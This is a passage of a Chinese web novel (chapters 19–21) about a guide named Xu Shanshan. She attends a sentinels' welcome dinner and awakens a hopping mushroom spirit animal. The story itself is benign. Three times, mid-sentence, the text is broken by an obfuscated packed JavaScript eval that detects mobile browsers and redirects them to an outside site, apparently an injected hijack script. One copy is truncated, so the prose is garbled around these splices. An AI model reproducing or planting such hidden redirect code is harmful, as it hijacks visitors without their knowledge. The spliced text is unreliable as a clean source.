匆忙拉紧窗帘,开灯,从一柜子衣服里拨来拨去,总不好穿制服吧?随手拿了一件,长官送的裙子,套在身上,还有配套的配饰,上面有个蛇形标,胡乱套上鞋,开门关灯,往外冲。 快一点,快一点,站在候梯厅,没想到平时没人用的向导电梯竟然被占了,还在一楼,她只能回过来,等待一辆下行的电梯。 终于到了,按键灯光熄灭,电梯门打开,她焦急地想往里面冲,一抬头,傻眼了,怎么还是这三个人? 生存欲混杂着死亡欲,她张着嘴,已不知道如何解释,手没有意义地摆弄。 三个男人的视线聚焦在她身上,表情不解,阿瑞斯耸了耸肩膀,只有雾团子很高兴,惊喜地想往她身上蹦。长官眉毛皱起,门要合拢,怕夹到她,伸手挡住滑门边缘。 她要去哪? 哪怕稍显凌乱,仍看得出是精心打扮过的,和平时不一样,甚至涂着口红,刚从医院出来,迫不及待想要去见谁,那个神秘网友?他并不赞同。 徐珊珊:“好巧啊。” 山昊:“不进来就回去好好休息。” 他本意是希望对方能回到宿舍,但没想到她反而提着包走了进来,心中郁结,感觉自己气得寿命都要掉了,沉默地看着她,点亮二十七楼的按键,此时面板上四个圆圈亮光。 下一站是长官办公室,电梯门打开,门外空无一人,她让开位置,男人纹丝不动,直到滑门合拢。长官沉默地站着,看起来是要去教训人的样子,她想开口解释:“这是以前约好的聚餐。” 曼努埃尔:“可以取消,你的身体不适。” 阿瑞斯:“或者叫我陪你去。” 该怎么说,其实她真的没哪儿不舒服,不想让他们担心,也不愿失约,因为别人准备了好久,感觉过意不去。 三人都是一副不放心,要跟到底,去训斥不懂事的野男人的架势。她无奈解释:“真的不是你们想的那样。” 既然大家都没错,她看向电梯厢顶,那错的只能是你了——电梯。 19. 第 19 章 滑门收拢,交谈声从远处出来,里面不乏熟悉的声线,顶着死亡注视,她握紧手提包,忽略长官阴沉的脸,硬着头皮往外走。 看似冷静,但其实已经汗流浃背了,每一步都离人声更近,炫彩灯柱更清晰,但身后的脚步声如影随形,昭示着她不是一个人。 一开始三人落在后方,走近了,门虚掩着,听见里面嘈杂的叫声,山昊快步走到她身边,推开房门,闪烁的灯球发出炫彩光线,彩花从两旁射出,声音不大,飘带落在两人头上。 “欢迎!” 沸腾的室内冷却下来,哨兵们的笑容是在看见来人时停止,出人意料的来访者,看到向导小姐当然开心,但前面这个摆着张臭脸的男人是谁,这幅样子是要做什么,砸场子? “这就是你要出来的原因。”山昊环顾场内,一边拨开身上的彩带,碎片光滑,很快就弄干净。见情况不对,一人机灵地把炫光灯关掉,包括富有节奏感的背景音乐。 她惊喜地伸出手,任由它们从指间飘落,喜欢这欢迎仪式。 房顶装水晶吊灯,笼上两层窗帘,门旁、墙壁边摆上两个单人和一个长沙发,上方趴着一堆仿真玩偶,时间紧,摆了几张长桌子拼在一块,铺上蕾丝桌布,对面有一片空地,可供演出。 看她的表情,是满意,他们本有些遗憾没来得及好好装饰。筑巢吸引配偶是动物本能。 室内众人也打扮得光鲜华丽,和上次不相上下,第一次没被选中的人,还换了穿搭风格,惹得成功者的不满,但各施手段,尽力吸引对方的注意,倒也没错。 解逸飞从另一间房出来,看见两人,露出笑容,打了招呼,安排开始上菜,随即迎上来。风吹动他的衣襟,轻薄的布料形成波纹,加上仪容举止,怎么感觉仙气飘飘的,这是谁家古风男友? 侧着身,领两人就座,连凳子都有人抬,这椅子脚怎么还比别的高,看不起她是吧,抬头估量其他人的平均身高,好吧,她认输。 拼接而成的长桌,她坐在头部中间,长官紧挨着她,坐右手边的第一个位置,解逸飞则瞬时坐在左侧一位。 徐珊珊:“不好意思我来迟了。” “没关系。” 曼努埃尔和阿瑞斯跟在两人身后进门,离得最近的位置被占,曼努埃尔贴在山昊的右手边坐下,阿瑞斯本想搬张椅子坐到她身边,抬到空中,见她摇头婉拒,便放下,落地发出震荡声,引得众人看过去。 他推开椅子坐下,紧挨着解逸飞,餐盘的右方放着三个杯子,里面装的东西还不一样,端起最右边的瘦高脚杯,凑到嘴边,仰头抿了一口,起泡酒,度数很低,喝不醉人,不过,他看向交谈中的女人。 皱着眉喝了中间的那杯,茶水,然后是最左边的,正常饮用水。抬眼看见她右手边也有三个杯子,站起身走过去,将最右边的那一个杯子端走。 “阿瑞斯,”见她龇牙咧嘴地警告自己别乱来,他的心情莫名很好,凑到嘴边尝了一口,“给我喝一口。”柠檬水,味道很淡,不信邪地端起中间那杯。 她已经气得不行了,解逸飞平静地看着他,没有阻止,仿佛在看一个小丑滑稽的表演。 花草茶,看来和他们喝的不一样,还想试试最左边那杯,被勒住手腕,他倒是很高兴让她握着,但对方显然并不这么想,“够了,回去坐着。” 解逸飞笑着说:“如果你很渴,我们这儿还有其他饮品,不用抢珊珊向导的。” “不用了,”死装货,说得他像暴徒,端走喝过的两个杯子,一起堆放在右边,打破了和谐摆盘,也不怕摔碎,只给她留下一个水杯,无奈地举起来喝了一口,就是饮用水,最多有点甘甜。 幸好长官和曼努埃尔跟他不一样,不然真有点下不来台。感到胳膊被轻触,她将脸颊贴过去,“怎么了?” 解逸飞的目光看向绿眼男人,猜他可能不认识,她提醒道:“曼努埃尔。”对方恍然大悟般,记起来了,神情更敬重些。 菜逐渐上齐,房门合拢,房间归于安静,解逸飞首先发言,欢迎她以及他们的光临,接下来,众人看向她,好像该是她讲话了,在众人鼓励的眼神下,她看向领导,对方竟然不看她。 只能靠自己了。 她站了起来,膝盖窝擦到凳子往后滑发出刺啦声,声音有些颤抖,“谢谢,大家这段时间,相处得很愉快,”说话有些语无伦次,但每个人都在认真听,看向众人的脸,她突然生出一股勇气,“希望以后我们友谊长存!” 众人还等着,没意识到她的话已经说完了,为了冷静下来,端起酒杯灌了一口水,下巴左右点,看来看去,怎么没反应? “啪、啪、啪。” 长官率先鼓起掌,其他人几乎立刻接上了,有的慢半拍的人,也跟着鼓起来,直到声音越来越大。 解逸飞也举起酒杯,其他人跟上,脸上带着笑意,“让我们为友谊长存,干杯!” 终于结束了,精力耗尽的她双眼无神地看向面前的精美瓷器,发起呆来,直到一双手不停在视野里挥动,视线被转移,她抬眸寻找那人是谁,才发现两只划着八字舞的蜜蜂。 她认出精神体了,眼睛一亮,“嗨,”也挥了挥手,看过去,两人笑嘻嘻地冒出头,回应她。 解逸飞:“洛朗、洛伦斯。” 他轻声一喊,两人立马老实地收回精神体,只是以防她认不出自己,才有些迫不及待。“去帮忙乘饭。”队长的话正中他下怀,正愁没机会聊两句。 她身边人很多,明明他们认识时,她才刚进塔,现在一、二、三、四……都数不清有多少人,挤都挤不过去,明明他们才是第一个和她接触的。就因为被困在隔离室,让别人抢占先机,再见面,不得好好表现一番。 洛伦斯舀好饭递过来时,附加了一杯淡黄色液体,闻着香甜,是蜂蜜水,刚想尝一下,就被长官端起来,递回去,“她喝不了这个。” 是你自作主张吧,明明她很想喝,洛伦斯将视线锁定在她脸上,见对方犹豫,有些迷茫,解逸飞解围道:“拿下去吧,”出声转移她的注意力,“要不要试试这汤?” 他随即接过小碗,乘了一碗汤,里面还夹杂着鱼肉,端起汤勺吃了一口,清淡可口,口感嫩滑、软烂,没有刺激性调料,全是无污染食材,感觉是大手笔。 “好吃。”她有些意犹未尽。 “是队员亲手做的,”解逸飞接着喊了一个人的名字,对方站起来,和她打招呼,见过但不熟。想要抓住一个向导的心,就要先抓住她的胃吗? 怎么感觉自己跟个皇帝一样,全在她面前刷脸。 没想到艰苦训练之余,他们也愿意花心思来学习其他能力,看着桌上的一盘盘菜,一个莫名的猜想从脑中升起,不会都是他们做的吧,这个疑问,在解逸飞的目光中,她想可能是肯定的,至少大部分。 搞得她都有点不好意思,天天在别人这白吃白喝的,既然大家都这么尽心,她也不能辜负他们的努力,每样都夹了一筷子,捧场地说:“都很好,挺好的。” 于是众人便跟着笑起来,她满意就好,只见长官将筷子放置餐盘上,发出清脆的响声,以为他有事,看过去,但对方只是换了双公筷,给她夹来另一道素菜。 “别吃太多肉。”身体消化不了。 目光与解逸飞对上,他也笑着点头,没显露任何不满,“山昊长官说得对,天有些晚了,吃太多容易积食。” “真贴心呀二位。”阿瑞斯离得远,什么也做不了,阴阳怪气地出声,两伪君子,又夹了一筷子,这食材处理得还挺精细,不就是做菜吗,谁还缺个厨子?哼,不过如此。 曼努埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922690|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔最初沉默、安静地坐着,没有发出任何声音,几乎感觉不到他的存在,没有摘下面罩,为免人问起,他称有事,起身离开,房门再次合拢,那座位便空着,后面的人坐上前。 桌子拼得好长,她不禁感慨,“人好多啊。” 解逸飞以为她话中有意,解释道:“他们都想见您,向导小姐。” “没关系,我也很高兴见你们。”两人相对,笑着聊天。 山昊坐在旁边看着两人互动,嘴角挂起,轻笑了一声,怪不得,不想吃,原来是在这儿等着呢。 山昊:“你和空战组关系很好?” 她点了点头,应该还挺好的。 阿瑞斯被冷落在一旁,有些不开心,抬眼看了看在场的人,以前也没觉得他们这么惹人厌,他怎么觉得,这儿不如他们联队,这话问的是什么意思? 解逸飞伸出手,作势要为他也处理一下碗筷,不寻常的氛围涌动,山昊抬手拒绝了,装作不经意地提了一嘴,“听说这今天一队也会回塔,不知道几点到。” “相处得那么愉快,考不考虑做随队向导?” “啊?” 成功地转移了她的注意力,完全被前面的消息调走了,而忽视后面的提议,众人紧张地等着她的回答,却只听见一句,“他今天回来?” 完全被忽视了,她果然更喜欢“鸟队”吧,众人有些沮丧。 徐珊珊没想太多,就是惦记自己的救命恩人,昨夜梦见蝙蝠求救,担心布鲁诺出事,同样的担心也附加于夏广礼身上。虽然空战组的生存率是整个白塔里最高的,特别是一队,飞行能力让他们天敌稀少。 长官点头,她轻呼道:“那太好了。” “砰,”陶瓷碗落到桌面发出响声,声音不大,但打断了两人对话,新送上的水果,她抬起头,一秒后认出来,“洛伦斯!” “珊珊向导,你还记得我。” “当然!”她笑道,随后又有些不好意思地道歉,“抱歉之前没认清楚你们两个,还以为你们是同一个人。”她看向站在他身后,长相颇有几分相似的男人,试着回忆那份名录。 “洛朗,”男人将盘子轻放在桌面,没发出声响,他介绍自己的名字后,送上甜点,就往后退,一副不争不抢的样子。 “谢谢你们。”铃声响起,视线再次被转移,不是她的光脑,从左侧传来。 解逸飞将它举过来,向她解释,“是布鲁诺,他听说聚餐,说自己不在场也想看看。” 好消息加上好消息,两个人都很安全! 她点头,“好啊,”接了过去,点击接听键,好像是视频通话。 整个宴会,其他人看似在说话,余光、耳朵却朝向这边,捕捉她的一举一动。 “哈喽,布鲁诺。” 她对着摄像头打了个招呼,那边漆黑一片,先传来断断续续的电流声,听不明确,而后一束光亮起,脸部像惨白的面具一样露出来,她吓得瞳孔撑大,下巴一缩,对方又调整了一下,将光源放远。 这次没那么吓人了,能看清楚整张脸,出门在外,他的形象不像在塔里那样精致,隐约看到一点胡茬,但神采奕奕,对着她打招呼:“怎么样,吃得开心吗?” 她将摄像头转向桌前,随后又返回来,“开心,你那边怎么样?” “这里有点黑,洞穴太长,里面有点缺氧,路上好多污染体,”听见他的话,心开始揪起来,解逸飞的嘴角悄悄落下。 她有点紧张,试图给他出主意,但对方只是开玩笑,马上就笑着解释:“这些都不是问题,你放心吧,任务进展顺利!” “那你呢?” “我也很好!”像是怕她听不见,声音很嘹亮。 “那就好,”话聊到差不多,解逸飞将光脑接过去,不一会儿,与对方道了别。 20. 第 20 章 吃到七分饱,还有些意犹未尽,被长官制止了,装作不在意地端起水杯,润润喉,用纸巾擦拭嘴唇,尽管眼睛还盯着中间的那道佛跳墙,一副垂涎欲滴的模样。 该死的诱惑,她向后轻抬椅子,看向解逸飞,“你们先吃,”拎着手提包,起身往外走。上厕所,门口需要有人守,他也立即放下碗筷,跟上去。 正主都不在,许多人也放开手脚,不用故作优雅,慢斯条理地进食,这要吃到几点钟去了,一时间盘子里的食物在以惊人的速度消失。 阿瑞斯一边看两人同行,一边观察着山昊的反应,这位对她有极大影响力的领导,男人面色平静,没说什么,还以为他会跟上去,但对方只是低下头,继续用餐。 愤愤地嘴里灌了一杯酒,这根本喝不醉人,看向闭紧的房门,总不能他也去陪着上厕所?恰巧左边的人找他搭话,“这是你的精神体,”上下打量,不顾黑雾的哈气呲牙,“无毛鬃尾狮,你是那位著名的‘黑狮’?” “嗯。”他冷淡回应,对方却不依不饶,好似很有兴趣般追问。 走出房间,空气变得冷清,她看见曼努埃尔站在走廊的角落,靠着墙,往外看,应急灯打在他的脸上,蒙上冷色调,与瞳孔颜色相呼应。 正说刚才怎么不见人,原来在这儿躲着,她贴了过去,“曼努埃尔?” 男人回头,视线垂下,她担心地朝自己走来,落到跟前,像是发现了落单的人,关怀地问:“为什么一个人在这儿,你不吃饭吗?” 男人摇头,声音透过面罩传出来,闷闷的,“我不饿。” 目光落在他不寻常的穿着上,很长的,遮挡住下半张脸和脖颈的布料,包裹着,不露出一寸皮肤。可能他确有隐情,考虑到尊重他人隐私,她没再追问。 既然不吃饭,待在这儿也无聊,她提议:“那你要不要先回去?”男人视线放空,眨下眼,绿色虹膜上有细碎零散的放射纹,“待会再走。” 好像劝不了,她决定先去解决一下自己的问题,走向通道另一侧。走廊的尽头灯光交融,电梯门打开,有人来了,转角处,她停住脚步,转头望去。 为首的男人赫然是救命恩人,后面跟着一群哨兵,连衣服都没换,一副风尘仆仆的样子,但执行完任务不是应该先解散,回宿舍休息吗,怎么跑这儿来了? 看见她和别人离开的背影,曼努埃尔低下头,下颌咬紧,腮帮子鼓动,闭上眼睛,手颤着上移,碰到耳廓上,固定用的金属挂环。 感受布料滑落,突然一阵喊声响起,他重新按下去,将软骨捏得变形,抬眼望去,她的身影消失了,失落笼上心头。 “珊珊。” “你回来了!” 声音传得很远,房门留了一丝缝,连屋里的人都听到了,见山昊还是一副无动于衷的样子,阿瑞斯按捺不住,不再接话,中断交谈,擦干净嘴,推开椅子,直接往外走。 而跟在他身后的,是洛朗和洛伦斯两兄弟。 还有人想跟去,左侧的第三个男人出声,“干什么,都想去上厕所?”目光抬起,又漫不经心地转开,“哪有那么多位置留给你们,憋着。”按下其他起身的人。 真是演都不演了,队长就算了,那个粗野狂男是外人,不方便管,凭什么蜜蜂兄弟可以出去,而他们不行,这公平吗,合理吗? 不能亲眼所见,就只能拉长耳朵细听,通过声音推测出谈话内容,餐桌上的动静一下子减小了,只剩吞咽声。 她兴奋地奔向夏广礼,相隔一米处,本准备停下,却被挟住胳肢窝,抱在空中,转起圈来,双腿漂浮,裙摆荡起,她一边笑一边拉住他的耳朵,“放我下来。” 这是那三天长途旅行时养成的习惯,两人当时状态都很差,一心急着赶路,由精神体驮着,但它飞太快了,她适应不了,就会摸耳朵,让它慢一些。算是两人的小秘密。 夏广礼笑容灿烂,礼貌地将她放下,摸了摸头顶。仔细打量对方,除去鞋底泥迹和晒得发红的脸,真看不出来是从外面回来。 修身的版型勾勒出腰身,款式简约,露出洁白纤细的小腿,裸露着细腻光洁的脚背,显得娇小玲珑,发丝略微凌乱,“我们珊珊好漂亮。” “哎呀,你这个家伙。”她被夸得有些不好意思,鼓起包子脸,有点想拍他两下,但后面跟着这么多人,又觉得不太好,停下手。 “你终于回来了,上次我来找你,你都不在。”她噘着嘴抱怨,尾音上扬、拖长,显现出娇气、任性的一面。 夏广礼忙不迭道歉,请她原谅自己,说:“以后不会再犯了。” “哼,”阿瑞斯从鼻子里喷出一股气,身前多出一个斜长阴影,抬头瞥是曼努埃尔,他听见声音,从里面走出来,将两人的互动画面收进眼底。 “鸟队”素来如此,从他那个时候起,就花枝招展的,低头看向自己的破拖鞋和无袖背心,好像每一次和她见面都在意料之外,没提前准备,显得格外狼狈。 长期就职于地下层,看守隔离的哨兵,在昏黑的环境里,很少见外人,也不需要什么打扮。这些年轻人,有的头骨还没闭合,略显稚嫩,他很久没上来了,也不知道犬科联队变成怎样。 男人从外套的宽大衣兜里掏出一枚羽毛形态的尾戒,用各色彩宝镶嵌而成,中间点缀着一枚绿翡,梦幻灵动,他伸手握住她的手心,捉到胸前,不顾推辞,穿过指骨,戴在执掌关节上方,耀眼夺目,这是他准备的礼物。 戒指很特殊,手指接触的地方有些烫,触电般地缩回手,试图把它摘下来,男人却说:“你愿意接受我的道歉吗?” 她张开嘴,太荒谬了,这个理由,需要用这么隆重的东西来做歉礼吗?还没等她开口,解逸飞走上前,问候道:“工作辛苦了。” “不辛苦,”男人回道,没什么感情,淡淡的,又弯下腰,替她打理碎发,柔着声音,“我现在回来了,以后你想什么时候来,就什么时候来。” 现在想我来,晚了,她抱臂在胸前,一脸傲娇,“我可忙着呢,哪有时间见你。” “那拜托珊珊抽出一点空闲,来看看我好不好。” 看着他卖可怜,她有些犹豫,毕竟拿人手软,吃人嘴短,伸手还不打笑脸人呢。磨来磨去就有点经不住恳求,差点心软。 解逸飞嘴角落下,目光从戒指上离开,她在自己面前,拘谨而礼貌,没想到两人这么熟稔,在他面前完全是另一幅模样。 他不笑的时候,看着就没那么温和了,“你们刚回来,还没吃过饭的话,我们正在聚餐,一起?” “好啊,”他低头看过来,“你呢?” 她摇了摇头,“我吃过了,”指向卫生间,“你们吃吧。” 说完,她走到墙边,而夏广礼则带着队员们往里走去,确实是全须全尾的全员安全归来,人群走过,一个人从队尾落单。 “就在那儿。”解逸飞指了条路,男人无动于衷,他看过去,认出来了,就是那晚上窜到会议室的宋晓宇,听人提起过他的事迹,和不少人有冲突。 “你去吧,”他的目光转向自己,“解逸飞队长,”又看向女人的背影没入门帘,不见踪迹,“我来守。” 对方顶着一张肿胀的脸,眼眶留印,快一周过去了,伤还没好,可见下手之重,在转角处看见四人伫立,这里面,三个都和他有仇,顺着同意,“好,注意些。” 女人刚走进去,转角处的四个男人相继靠过来,蜜蜂兄弟站在一块,阿瑞斯和曼努埃尔在靠得较近,宋晓宇双手插兜,靠在墙上,瞥了一眼,又仰望天花板,无意搭理。 四人围成一个三角形,真是仇人见面,分外眼红。见他这幅样子,曼努埃尔禁不住,轻轻地,笑了出来,恶意倾泻,算是今天诸事不顺,唯一的发泄口。 他又不是泥做的,曼努埃尔自认没资格,那这个人呢,这个挑衅自己,又被自己打败的人,他站在这儿是什么意思,用这样的一张脸,去讨好她吗? 因为嫉妒而萌生的破坏欲,但对方眉眼高傲,不正眼看他,就好像是根本没将他放在眼里,一心要等向导出来,找机会跟她说话,让她重新记住自己。 曼努埃尔逐渐感到伤口灼烧起来,幻痛涉及每一寸皮肤,凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“连精神体都不能控制自如的东西,你就不怕它突然发狂,攻击向导?疯子和疯猫。” “呵,”阿瑞斯挺直脊背,拳头咔咔作响,“我看你左右脸不太对称,我来帮帮你吧。” …… 旁边隔间里,水管好像坏了,一只在漏水,声音一阵一阵的,天花板上的换气阀一直运转,不断输送新鲜空气。 她蹲坐在马桶上,一阵嘘嘘声,好像水有点喝多了,没什么颜色,排了好一会儿,结束了,擦拭干净,提起内裤,将裙摆放下,检查内衬,一只手从挂钩上取下手提包,另一只手摁下冲水键,她想了想,还是把马桶圈给抬了上去,物归原样。 还以为长官会暴怒,连人带她一起臭骂一顿,但实际还好。 不行,又感觉不太对劲,她掀起裙子,又坐了回去。可当她坐下,感觉又消失了,她站起来,回来,坐下,消失。头上仿佛冒出了一堆问号,啥子情况,幻觉? 最后她忍无可忍走出隔间,靠近洗漱台,手伸出,水流冲进掌心,搓洗干净,放到吹风机旁吹干,总不能让别人等太久,过去十几分钟了,对着镜子确认后,玻璃上突然出现万花筒般的绚丽色彩。 心提起来,一定是幻觉,眼睛闭上,睁开,它,它它还会旋转,视线变得扭曲,她往后退,心跳加快,呼吸加速,直到背靠在墙上,紧张地抿嘴,瑟瑟发抖。 突然腿上传来痒痒的感觉,她惊得短促的惊呼一声,用力甩腿,跳到一旁,低头一看,是一颗蘑菇!底下长着细长的,像蜘蛛网一样的白色菌丝,一蹦一跳地朝她来,速度还不慢,心跳骤停。 “啊!!!” 卫生间内发出一阵响亮的尖叫声,全是恐惧,贯彻整层楼。 守在外面的人神色一凛,顾不上争吵,蜂拥而入,房间内,筷子落下,哨兵们从狭窄的房门窜出,以最快地速度奔向厕所,不一会儿就将那儿围得水泄不通。 山昊的心几乎提到了嗓子眼,跑在前排,拨开两人,“怎么了?!” 21. 第 21 章 她的精神不太正常,在场众人都看出来,目光涣散,手脚不受控地胡乱摆动,头像小鸡啄米似的前后点动,像陷入幻觉,十分抗拒他人接近。 为免碰伤,曼努埃尔钳制住她,其余人围成扇形。 隔间门被逐个推开,阿瑞斯在最里侧发现了罪魁祸首,一颗手腕粗的毒蘑菇,它缩在墙边,一动不动,伞盖剔透得像白玉,混杂着粉色,底部菌丝聚拢成团。 怀疑她就是被这东西影响,脱掉上衣,臂膀露出来,包裹住手掌,扯住它的根系,倒吊着提出来,这会儿表现得倒像死物了。 先才还一蹦半米远,现在装死,晚了。 左肩上趴着的黑狮沿着肩膀走到右边,顺着肩胛骨,抬脚一跃,扑向手背,眼见它要伤害嫌疑犯,阿瑞斯扣住它的脖子,“别乱来。”另一只手拎着它的后颈,结果这两都悬在空中。 黑狮的四肢还不断伸长,似乎想抓挠另一颗蘑菇,攻击性这么强,它今天怎么了?阿瑞斯一面按住它,一面准备转交物证,放在自己这儿不太安全。 目光梭巡,绕过宋晓宇,将包裹着的真菌转交给蜜蜂兄弟,松手时自己的精神体又厉声嘶叫,不情愿地试图挣脱,被捶打两下才老实。 山昊先观察体征,无异样,嘴里还会说胡话,“长官,救我,有怪物……”想伸手接她,但对方紧抓着曼努埃尔不放,像当成了救命稻草,触碰时不停挣扎,还把人面罩给扯掉了,血色黏膜露出来,但无人在意,全部视线都聚焦于他怀里的女人身上。 “先带她出去,再搜一下这里。” 长期捂着的疤痕接触到空气,感到一丝凉意,曼努埃尔没空在意别人眼光,一只手臂钳制住上身,箍紧两只胳膊,另一只手抓住膝盖,箍得紧紧的,任由对方像蚕一样在怀里蛄蛹。 空战组的人领着他们走向医疗间。 白塔里不可能突然出现污染物,人员进出需要检查,每周都要消检,除非有人私自带入。 虽然它能致幻,但似乎没有嗜血欲,自从被发现后,缺乏攻击性,到目前为止,除了徐珊珊,没有其他人受它影响,产生异化。 比起污染物,倒更像是谁的精神体。找来检测仪探了一下,指示灯显现绿色,再照向阿瑞斯肩头的黑雾,橙红色,又找了几人检测,有深有浅,仪器没有问题。 那这只能是向导的精神体了,哨兵的不会这么低。 山昊令人调出走廊监控,今夜只有几人进出卫生间,询问后,说都没有见过这蘑菇,也没有别的向导来过。 那结果很明显,她召唤出精神体了,昨夜的昏睡是觉醒的前兆,而现在,应该是被误伤了,考虑到这么多年,她和自己的精神体没见过面,把它认成怪物也很正常。 结论出来,室内的众人都沉默了,被自己的精神体吓晕还是头一份,像是有点火力全打在自己人身上了。洛伦斯也愣了一下,看向手里的精神体,力道松懈,向导小姐的精神体?刚才抓得有点用力了。 解逸飞提来一个金属笼,“还不清楚它的能力,可能有一定致幻性,先放进去,等她醒来再说。”洛伦斯点头,揭开布料,将它放入,笼门紧锁。 女人被平躺着抬到一张束缚床上,脖子、手、腰、脚踝都被束带勒住,口中塞上胶球,放置咬舌,这本是用来铐出现异化的哨兵,今天有了另一种用途。 她的迷乱持续了不到两分钟,身体停止抖动,眼珠不再乱转,逐渐恢复清明。 而那颗蘑菇则扣在合金罩里关着,透过监控和可视窗可以看清里面的动态,见没人了,它开始扒拉自己的菌丝,逐渐爬满内部,一旦有人靠近,就开始装死。 怎么感觉这脾气有点像…… 眼皮轻颤,她要醒了,醒过来第一个见到的人就是长官,其他人也凑上来,平时嫌他凶,此时却觉得可靠,泪水扑簌簌地落下,“唔唔,”只能发出呜咽声。 听到她的哭声,众人扑过来,围成一圈,每张脸上都是担心的神情。曼努埃尔心神一颤,头侧倾,知道她没事了,重新戴好面罩,找个空位看着。 她手指挣动,但手腕抬不起来,只能侧过头示意。眼神恢复神采,重新聚焦,看来是清醒了,一只手取下她嘴里的东西,她终于能张嘴了,“长官,有怪物要吃我!” 泪水完全掉下来,太恐怖了,有好多“鬼”围着她,阴恻恻地想拿戟刺穿她烤肉。 “你说的怪物是这个吗?” 一个金属笼被提过来,透过可视窗,看见里面的蘑菇,瞪大了眼睛,害怕地后缩,“对,就是它,它会跳!” 如果不是手被铐着,她简直想缩到对方身后,会跳的鲜艳蘑菇,难道这不诡异吗?蘑菇是真菌不是动物,它不会动,不能动,那家伙扭着伞柄一蹦老高,一看就不是什么正经菌。 见她看过来,菌丝生长,甚至还往金属里钻,冒出尖,这惊人的渗透力,解逸飞将它抬远,取出更高级别的隔离罩,把它关进去,按照种族习性,将温度调高,果然不一会儿就恹恹地停止活动了。 山昊:“它是怎么出现的?” 见她好转,夏广礼亲自动手,将束带解开,上半身逐渐恢复自由,接着是下身,终于能坐起身,一杯温水被递到手边,夏广礼挡在她和金属罩之间。 额上冒出冷汗,她开始回忆那段经历,陈述完后,众人沉默,她环视一圈,诧异道:“你们不会不信吧?真的!” 见有人默不作声地转头,身体颤抖,发出压抑的喉音,好像她在说胡话一般。她绷不住了,“他们把我吊起来,要用火烤我,” 解逸飞:“我相信你。” “还是队长好。” 哟,这就好了?阿瑞斯努了努嘴,不置可否。 “你出现幻觉了,我在你身边,没有人能拿你做烤肉,”山昊看向隔离罩,不着痕迹地引导:“它的污染程度很低,应该不是污染物,而是精神体。” “那太坏了,谁拿精神体吓唬我?!” 她一定跟他势不两立,这些天来到白塔,她一直矜矜业业,工作、交友都如履薄冰,谁也不招惹,怎么还无缘无故来害她?这口气她咽不下去,一想到那恐怖场景,估计能形成心理阴影。 拧着眉,气愤地看向在场的每一位哨兵,他们只是鼓着脸,似乎在憋笑,惹得她更气了,贝齿咬着下唇,难道是合伙起来整她,嘴巴撅起来,有点难过,亏她还把他们当朋友。 见她想不通,还产生误会,山昊便直接戳破,“那是你的精神体。” “我?” “对,你看,”他一一数去,“空战组的人,真菌会飞吗?”手指向自己,“蜘蛛,”看向曼努埃尔,“灰狼,阿瑞斯是狮子,这里没有别人了。” 可是……真菌也不会跳啊,它会蹦跶,也有可能会飞吧。 一时无法接受这个现实,夏广礼转身接过隔离罩,提到她跟前,通过监控她看见了里面的粉嫩蘑菇,短胖肥美,菌丝倒很长,看起来很好吃,但战力就不敢想象了。 自由飞鸟的梦在离她远去,兔子也行啊,哪怕是株草呢? 了解二者关系,她也没那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931391|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害怕了,手掌覆上金属表面,看到里面的家伙也往这边长出菌丝,奇异的是,它好像只有这么长,这根变长另一根就变短。 算了,都穿越了,还讲什么物理。 “小家伙,你有什么用?”话刚说出口,她就觉得自己有点太功利了,它还只是一个刚出生的宝宝。 她看向夏广礼,“可以打开吗?” 担心失控,夏广礼将隔离罩拿远了,戴上手套,“不急着接触,它还没法很好地控制自己的能力。” “好,”那罩子向上收拢,它的菌须蠢蠢欲动,又想蹦出来,靠近主人,又害怕被这群人攻击,刚才那只“猫”也够吓人的。 时刻准备着,见它还算老实,其他人也松了口气。 “嗨,”她稍稍点头打招呼,“你能听到吗?” 它摆了个圈,因为菌丝不能断开,像一个歪斜的阿拉伯数字九,意思是能,这也太古怪了,你连耳朵这个器官都没有,为什么能听见。 “那你能看见吗?” 还是一个圈,哇塞,嘴往两边张开,我的超能力菌,“你认识我吗?” 它比了个心,好家伙,还真是她的精神体,两人一体两面,她忍不住埋怨:“为什么要吓唬我?” 它开始摆成波浪线,似乎不知道怎么表达,最终画了一个叉。因为自己的精神体也经常闯祸,阿瑞斯忍不住帮它辩解两句,“它可能还控制不住自己,不是故意的。”菌丝表示赞同。 算了,没必要自己为难自己,谁没干过错事呢。 “下次不许了。”它又摆了一个圈。 “好吧,那你过来。” 于是众人就看见一颗跳动的蘑菇,从空中一跃到束缚床的围栏,然后又跳到她腿上,伸手戳了戳,只见对方又把自己盘成一团。 诡异,太诡异了。她感觉自己有点掉san了,但总会熟悉的,她洗脑自己,其实蘑菇是会动的,没什么大不了,真菌可是自然界的分解者,没有我们真菌,碳循环怎么正常流动,我了不起,我骄傲。 这样想着,逐渐接受它。 女人看了一会儿,没出现众人担心的抵触情绪,反而是把玩了起来,对方却害羞地躲着她,只准她碰菌须,不准摸上方的子实体。 “好吧,给你取个名字吧。” 它伞盖的粉色流动,显然很期待,“小白怎么样?” 